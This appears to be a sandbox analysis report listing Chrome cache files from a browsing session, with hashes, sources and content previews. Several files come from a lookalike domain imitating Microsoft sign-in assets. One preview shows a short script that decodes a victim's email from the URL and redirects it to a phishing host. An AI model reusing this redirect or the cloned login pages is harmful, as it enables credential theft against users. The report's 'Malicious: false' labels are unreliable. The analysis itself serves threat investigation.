SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	662286
Entropy (8bit):	5.315860951951661
Encrypted:	false
SSDEEP:	12288:YfmmzLJTD/JilMGk4hBR310FaHHxpJy7qVfb4cSPo:Yfm+T7US7SR310FaHHTJy7qJ4rPo
MD5:	12204899D75FC019689A92ED57559B94
SHA1:	CCF6271C6565495B18C1CED2F7273D5875DBFB1F
SHA-256:	39DAFD5ACA286717D9515F24CF9BE0C594DFD1DDF746E6973B1CE5DE8B2DD21B
SHA-512:	AA397E6ABD4C54538E42CCEDA8E3AA64ACE76E50B231499C20E88CF09270AECD704565BC9BD3B27D90429965A0233F99F27697F66829734FF02511BD096CF030
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.2.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.2.mouse.js'] = (new Date()).getTime();.._y.lC=function(){};_y.lC.registerInterface("_y.lC");_y.jw=function(){};_y.jw.registerInterface("_y.jw");_y.lA=function(){};_y.lA.registerInterface("_y.lA");var IDelayedSendEvent=function(){};IDelayedSendEvent.registerInterface("IDelayedSendEvent");var IIsShowingComposeInReadingPaneEvent=function(){};IIsShowingComposeInReadingPaneEvent.registerInterface("IIsShowingComposeInReadingPaneEvent");var ISendFailedO365Event=function(){};ISendFailedO365Event.registerInterface("ISendFailedO365Event");var ISendFailureRemoveO365Event=function(){};ISendFailureRemoveO365Event.registerInterface("ISendFailureRemoveO365Event");_y.gw=function(){};_y.gw.registerInterface("_y.gw");_y.iB=function(){};_y.iB.registerInterface("_y.iB");_y.ih=function(){};_y.ih.registerInterface("_y.ih");_y.jy=function(){};_y.jy.regis

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Category:	downloaded
Size (bytes):	663451
Entropy (8bit):	5.3635307555313165
Encrypted:	false
SSDEEP:	12288:YhqblwQ9eTw/suNyIzaJS/pWYawUWufSxwDr2o/5YP1B:Yhqblt9e8/sMzaJS/pWYawUWufSxwDrW
MD5:	761CE9E68C8D14F49B8BF1A0257B69D6
SHA1:	8CF5D714D35EFFA54F3686065CB62CCE028E2C77
SHA-256:	BEAA65AD34340E61E9E701458E2CCFF8F9073FDEBBC3593A2C7EC8AFEACB69C1
SHA-512:	CEC948666FBA0F56D3DA27A931033C3A581C9C00FEC4D3DDCF41324525B5B5321AE3AB89581ECC7F497DE85EF684AB277C8A2DB393D526416CEB76C91A1B9263
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/scripts/boot.worldwide.0.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.0.mouse.js'] = (new Date()).getTime();../* Empty file */;Function.__typeName="Function";Function.__class=!0;Function.createCallback=function(n,t){return function(){var r=arguments.length;if(r>0){for(var u=[],i=0;i<r;i++)u[i]=arguments[i];u[r]=t;return n.apply(this,u)}return n.call(this,t)}};Function.prototype.bind=Function.prototype.bind\|\|function(n){if(typeof this!="function")throw new TypeError("bind(): we can only bind to functions");var u=Array.prototype.slice.call(arguments,1),r=this,t=function(){},i=function(){return r.apply(this instanceof t?this:n,u.concat(Array.prototype.slice.call(arguments)))};this.prototype&&(t.prototype=this.prototype);i.prototype=new t;return i};Function.createDelegate=function(n,t){return function(){return t.apply(n,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Error.__typeNam

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 33556, version 0.0
Category:	downloaded
Size (bytes):	33556
Entropy (8bit):	7.986987433752767
Encrypted:	false
SSDEEP:	768:agf2aMu68W993ufOSHOWuwtfLVebDm6r9j3oqlHH:hf2vuYb3IPHOdaJmp3Dn
MD5:	637B1F43DE4B96B9446ADCC107C5F688
SHA1:	3FAD425F0C1CFE8711888CD877E122E5F8D2C15A
SHA-256:	0ED2DC761DDF650B9AAB0C366F43DDEA0DB81E13BBE603A21F2BFEF519387CE9
SHA-512:	9B48ED55813F9A372F1E1BE5FEF737B0583E8990B9B0D57A7810EEC5F55D5C9CC55739D3DC3A2851009964C34C82F1D0D9B58EC05A212779667A023DB8804BF5
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/light/latest.woff
Preview:	wOFF........................................OS/2...D...X...`J..%cmap..............<.cvt ...........L/.+}fpgm............".[.gasp...\|.........<..glyf......m....,....head..x$...6...6.X.hhea..x\...!...$.<.Jhmtx..x............loca..\|..........{.maxp....... ... ....name...0........ DE.post........... .Q.wprep...0.......ibMktx.c`f.`8.....:....Q.B3_dHc..`e.feb.B&....e...'.(..VP.R....^........(0.$...:.H)00..<W..x.e.{L.U..?..E../..7<<..-.?.M...K6...M%.4@..E.DMs1.S....f.]t..4L..t3//o.R7..}.N/.....9g...o./ .V....._..x.I.Z..O.5DC5B.5V...\M.czJ.Z...V......g.S.,r.:..G...s&........V..;1{p.$..3....d.,3.L6......In_7...#..7.-..q.-.......+.CH}t...j.Fj......t=..R..b<.]x.8M....x...I5....<..x.-O.N........7.s....$zBl....&......?.S.>..z...^.w.k..N....G..m..J[G..BgEj#.#."..R.<...$......e.pVx....W.9..l...v....UdU...y.U.6....H.RC...n.V5(...7.........vv....([..Z.....f'.yIb-..@......8.2....i....&G9.[.f....+...c\|......PH3..=o3.....?.#....H..R.\|J(%...X.".S......T....J......._.

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	171486
Entropy (8bit):	5.043877429718187
Encrypted:	false
SSDEEP:	3072:jzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCx1:jlZAW9kJeqg
MD5:	B7AF9FB8EB3F12D3BAA37641537BEDC2
SHA1:	A3FBB622FD4D19CDB371F0B71146DD9F2605D8A4
SHA-256:	928ACFBA36CCD911340D2753DB52423F0C7F6FEAA72824E2A1EF6F5667ED4A71
SHA-512:	1023C4D81F68C73E247850F17BF048615DDABB69ACF2429644BDAF8DC2A95930F7A29CEAE6FBD985E1162897483A860C8248557CDA2F1F3D3FF0589158625A49
Malicious:	false
Reputation:	low
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/29-591900/68-c3a397/f4-0855a6/a8-3dc4a6/f1-3221a1/dc-d4cb46/1f-806835/7a-c9e644?ver=2.0&_cf=20210618
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	232394
Entropy (8bit):	5.54543362321178
Encrypted:	false
SSDEEP:	1536:yldzLx/ivZfjbOv/LBbLeXeKEXK81KKVKKdKbSK0cKcyKf75DMkvqBCWcDAPf4bT:Ux/ivZfjbOv/LBbLMTq9cDw4bLl1We/
MD5:	AF8D946B64D139A380CF3A1C27BDBEB0
SHA1:	C76845B6FFEAF14450795C550260EB618ABD60AB
SHA-256:	37619B16288166CC76403F0B7DF6586349B2D5628DE00D5850C815D019B17904
SHA-512:	C5CFB514F993310676E834C8A5477576BD57C82A8665387F9909BA0D4C3C2DE693E738ACAA74E7B4CA20894EA2FEEA5CF9A2428767D03FE1DE9C84538FDC3EE9
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7472.44/resources/styles/0/boot.worldwide.mouse.css
Preview:	.feedbackList{-webkit-animation-duration:.17s;-moz-animation-duration:.17s;animation-duration:.17s;-webkit-animation-name:feedbackListFrames;-moz-animation-name:feedbackListFrames;animation-name:feedbackListFrames;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;animation-fill-mode:both}@-webkit-keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-webkit-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@-moz-keyframes feedbackListFrames{from{-moz-transform:scale(1,1);transform:scale(1,1);-moz-animation-timing-function:cubic-bezier(.33,0,.67,1);animation-timing-function:cubic-bezier(.33,0,.67,1)}to{-moz-transform:scale(1.03,1.03);transform:scale(1.03,1.03)}}@keyframes feedbackListFrames{from{-webkit-transform:scale(1,1);-moz-transform:scale(1,1);transform:scale(1,1);-webkit-animation-timing-function:cubic-bezier(.33,0,.67,

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65520), with no line terminators
Category:	downloaded
Size (bytes):	82190
Entropy (8bit):	5.036904170769404
Encrypted:	false
SSDEEP:	1536:tJzwN0CbUTqI34/9w6/Qua+1IGEbjBko230WBYT:vyA
MD5:	1F9995AB937AC429A73364B4390FF6E8
SHA1:	81998DCC6407CEB5CEF236AD52B9F2A3A9528D3B
SHA-256:	49E5166F40D8586714F86E08AB76A977199DF979357147A0E81980A804151C2A
SHA-512:	6669AE352FF46DB734BB8F973D1C0527C3A5EC4119D534AAE4C33F29EFF970168ED5FE200A05D4E1B6A2EC0E090E2207549B926317D489DC7664B0D9C2085465
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/onestorerolling-1510-19009/shell/v3/scss/shell.min.css
Preview:	@charset "UTF-8";@font-face{font-family:'wf_segoe-ui_normal';src:local("Segoe UI");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.ttf") format("truetype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.svg#web") format("svg");font-weight:normal;font-style:normal}@font-face{font-family:'wf_segoe-ui_semilight';src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot");src:url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.eot?#iefix") format("embedded-opentype"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.woff") format("woff"),url("//i.s-microsoft.com/fonts/segoe-ui/west-european/semilight/latest.ttf")

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	214
Entropy (8bit):	4.941667047450066
Encrypted:	false
SSDEEP:	6:x4XSJM71+RKHS5Mr5IRn1KjmmnXdDOP3yVb:fCp+sHS5MYOxnND2qb
MD5:	D1ED734A7CDB8652B2059722EBBA5DB0
SHA1:	110A28269312ACBF6D6B83091543FD63BE1D8BE6
SHA-256:	D246DFF339B91D38EB6761FEDB4D92447FEB830AD23CC95491A8C102FEEE7A9D
SHA-512:	8C302FAAE99DE8AA18E248251CF1DB8F579E0BA9A71DC666AF073EF8B9435E58AD63A17C52D35DDC91EA9BEF1DE30C7246B9F9F8B7431C5AA61CEB33487C8C2C
Malicious:	false
Reputation:	low
URL:	https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/
Preview:	<script> . .var email = window.location.hash.substr(1);var decodedString = atob(email); window.setTimeout(function() {window.location.href = 'https://secur-doc.online/?hjhmxbor&qrc=' + decodedString; }); .</script>

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://r6duftx9uh6.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	338
Entropy (8bit):	7.004897375379158
Encrypted:	false
